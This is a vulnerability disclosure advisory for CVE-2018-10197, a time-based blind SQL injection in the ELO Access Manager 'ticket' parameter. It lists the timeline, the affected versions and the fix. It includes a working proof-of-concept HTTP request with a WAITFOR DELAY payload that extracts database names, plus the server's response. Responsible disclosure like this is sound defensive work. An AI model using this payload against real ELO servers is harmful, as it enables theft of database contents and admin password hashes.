ELO (Elektronischer Leitz-Ordner) 9 / 10 SQL Injection

`Title:  
======  
ELO (Elektronischer Leitz-Ordner) 9/10 - Time-Based blind SQL injection  
  
Researcher:  
=======  
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG  
  
CVE-ID:  
=======  
CVE-2018-10197  
  
Risk Information:  
=================  
CVSS Base Score: 7.5  
CVSS Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C  
Impact Subscore: 6.4  
Exploitability Subscore: 10.0  
CVSS Temporal Score: 5.9  
Overall CVSS Score: 5.9  
  
Timeline:  
=========  
2018-04-06 Vulnerability discovered  
2018-04-06 Asked vendor for security contact  
2018-04-09 Send details to the vendor  
2018-04-10 Flaw was approved and fixed in a new version  
2018-07-10 Public disclosure  
  
  
Affected Products:  
==================  
ELOenterprise 10 (ELO Access Manager <= 10.17.120)  
ELOenterprise 9 (ELO Access Manager <= 9.17.120)  
ELOprofessional 10 (ELO Access Manager <= 10.17.120)  
ELOprofessional 9 (ELO Access Manager <= 9.17.120)  
  
Vendor Homepage:  
================  
https://www.elo.com/en-de/  
  
Details:  
========  
ELO is a commercial software product for managing documents and  
electronic content. Storage and organization is similar to classic  
paper-based document management. ELO belongs to the category of document  
management (DMS) and enterprise content management systems (ECM). DMS  
and ECM systems enable audit-proof archiving of documents and  
information requiring storage.  
  
We have discovered a time-based blind SQL injection vulnerability in the  
ELO Access Manager (<= 9.17.120 and <= 10.17.120) component that makes  
it possible to read all database content. The vulnerability exists in  
the HTTP GET parameter "ticket". For example, we succeeded in reading  
the password hash of the administrator user in the "userdata" table from  
the "eloam" database.  
  
Proof of Concept:  
=================  
GET  
/wf-NAME/social/api/feed/aggregation/201803310000?ticket=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'  
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS  
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN  
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY  
name),5,1))>104) WAITFOR DELAY '0:0:1'--  
qvAV&after=1523013041889&lang=de&_dc=1523013101769 HTTP/1.1  
Accept-Encoding: gzip,deflate  
Connection: close  
Accept: */*  
Host: server:9090  
Referer: http://server:9090/wf-NAME/social/api/feed/aggregation/201803310000  
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: 59.0) Gecko/20100101  
Firefox/59.0  
  
HTTP/1.1 401 Unauthorized  
Server: Apache-Coyote/1.1  
Content-Type: application/json;charset=UTF-8  
Content-Length: 410  
Date: Fri, 06 Apr 2018 11:57:15 GMT  
Connection: close  
  
{"error":{"code":401,"message":"[TICKET:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0027  
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS  
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN  
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY  
name),5,1))\u003e104) WAITFOR DELAY \u00270][ELOIX:2001]Sitzungskennung  
ung..ltig oder abgelaufen. Melden Sie sich neu an.[NO-DETAILS]"}}  
  
Fix:  
====  
Customers can optain the fixed versions 9.18.040 and 10.18.040 in ELO  
SupportWeb.  
  
`